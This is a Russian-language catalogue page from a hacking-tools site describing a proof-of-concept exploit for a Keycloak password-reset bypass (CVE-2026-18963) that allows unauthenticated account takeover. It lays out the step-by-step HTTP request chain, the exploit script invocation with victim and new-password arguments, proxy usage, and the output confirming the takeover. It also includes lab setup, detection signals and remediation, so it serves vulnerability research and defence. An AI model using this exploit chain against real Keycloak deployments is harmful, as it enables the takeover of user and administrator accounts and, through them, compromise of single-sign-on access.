Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-18963-keycloak — Эксплойт Proof-of-concept для CVE-2026-18963 — критический обход процедуры сброса учётных данных Keycloak, позволяющий захват учётной записи без аутентификации. Включает настройку лабораторной среды, рекомендации по обнаружению и шаги по устранению уязвимости для авторизованного тестирования. | Kitploit
Инструменты/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьАутентификацияОбучение и Образование
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

Репозиторий
203462 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Эксплойт Proof-of-concept для CVE-2026-18963 — критический обход процедуры сброса учётных данных Keycloak, позволяющий захват учётной записи без аутентификации. Включает настройку лабораторной среды, рекомендации по обнаружению и шаги по устранению уязвимости для авторизованного тестирования.

Поделиться

CVE-2026-18963 — обход сброса учётных данных в Keycloak → захват учётной записи

Захват учётной записи без аутентификации в потоке сброса учётных данных Keycloak. Злоумышленник, знающий только имя пользователя/email, может сбросить пароль любого пользователя — включая администраторов — так и не получив письмо с подтверждением.

CVE CVSS CWE License


⚠️ Отказ от ответственности — только этичное использование

Данное proof of concept публикуется исключительно в образовательных целях, для оборонительных исследований, инженерии обнаружения и авторизованного тестирования безопасности.

  • Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Доступ к системам или их изменение без разрешения незаконны и неэтичны.
  • Это оборонительный/образовательный ресурс, призванный помочь командам понять, обнаружить и устранить CVE-2026-18963 — а не атаковать третьих лиц.
  • Автор (red-darkin) НЕ несёт никакой ответственности за любое неправомерное использование, ущерб или незаконную деятельность, совершённую с помощью этого кода. Вы несёте полную ответственность за то, как вы его используете, и за соблюдение всех применимых законов.
  • Скачивая или используя этот репозиторий, вы принимаете эти условия. Если вы не согласны, не используйте его.

Полное заявление см. в DISCLAIMER.md.


Краткое описание

CVECVE-2026-18963
КритичностьКритическая — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
СлабостьCWE-640 — Слабый механизм восстановления пароля
ЗатронутоKeycloak < 26.7.2 (upstream). Также исправлено в сборках RH через бандлы 26.6.6 / 26.4.15
ИсправленоKeycloak 26.7.2 (PR #51844)
ПредусловияВключён Forgot password (сброс учётных данных) на realm — значение по умолчанию
ВоздействиеПолный захват учётной записи любого пользователя (включая администраторов realm) → компрометация IdP + боковой доступ к SSO

Как это работает — две уязвимости в цепочке

Поток сброса пароля (reset-credentials) обычно требует перейти по ссылке, отправленной на email владельца учётной записи, прежде чем можно будет задать новый пароль. Два дефекта позволяют злоумышленнику полностью обойти эту проверку:

  1. Состояние «Try Another Way» без привязки к области — обработчик выбора аутентификатора сохраняет заметку AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" без привязки к execution ID. Повторный вход в поток оставляет сессию аутентификации в запутанном/устаревшем состоянии.
  2. Отсутствие проверки токена на шаге email — ResetCredentialEmail.action() вызывает context.success() без проверки ACTION_TOKEN_USER_ID (то есть без подтверждения того, что отправленный по email action token действительно был использован).

Связывание этих дефектов переводит сессию аутентификации сразу к шагу UPDATE_PASSWORD для произвольного пользователя, без необходимости в email.

GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
GET  /login-actions/reset-credentials …              ── choose-user form
POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
POST …reset-credentials      username=<victim>       ── select user via selector
GET  …/restart …                                     ── refresh session state
GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
        password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER

См. docs/ROOTCAUSE.md для аннотированного diff патча.


Быстрый старт (лаборатория)

Вам нужны Docker и Python 3 с requests.

# 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
./run_lab.sh                 # uses keycloak/keycloak:26.5.0

# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'

Ожидаемый хвост:

[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!

Затем войдите как victim / Pwned-2026!, чтобы подтвердить захват.

Негативный контроль (исправленная версия)

KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served

Использование

python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]

  --base       Keycloak base URL, e.g. http://127.0.0.1:8080
  --realm      target realm (default: master)
  --client     public client without PKCE (default: account)
  --victim     victim username or email
  --new-pass   password to set
  --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
  -k           skip TLS verification

Каждый HTTP-ответ записывается в ./dump/ для проверки.


Проксирование через Burp

Keycloak уже использует 8080, поэтому направьте слушатель Burp на другой порт (например, 8081):

python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!' \
    --proxy http://127.0.0.1:8081

Необработанная цепочка запросов для Burp Repeater находится в requests/burp-chain.txt.


Обнаружение

Ищите смену пароля, которой не предшествовала проверка электронной почты в той же сессии аутентификации:

  • Событие UPDATE_PASSWORD без предшествующего VERIFY_EMAIL / EXECUTE_ACTION_TOKEN для этой сессии.
  • Всплески запросов reset-credentials с параметром tryAnotherWay=on.
  • Многократные повторные входы в login-actions/reset-credentials для одного и того же tab_id.

Устранение

  • Обновитесь до Keycloak 26.7.2 (или до исправленной ветки сборок RH) — первоочередная задача.
  • Временная мера: Realm settings → Login → Forgot password = Off.
  • После установки патча: смените учётные данные администратора, принудительно выполните повторный вход после сбросов и настройте оповещения по указанным выше сигналам обнаружения.

Ссылки

  • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
  • Fix PR #51844 — https://github.com/keycloak/keycloak/pull/51844
  • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
  • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

Демо

CVE-2026-18963 PoC

Благодарности

  • red-darkin — воспроизведение в лабораторных условиях, PoC и описание.
  • Claude (Anthropic) — помощь в исследовании и разработке PoC.

Цепочка подтверждена по публичному патчу Keycloak (PR #51844) и публикациям сообщества.

Скачать инструмент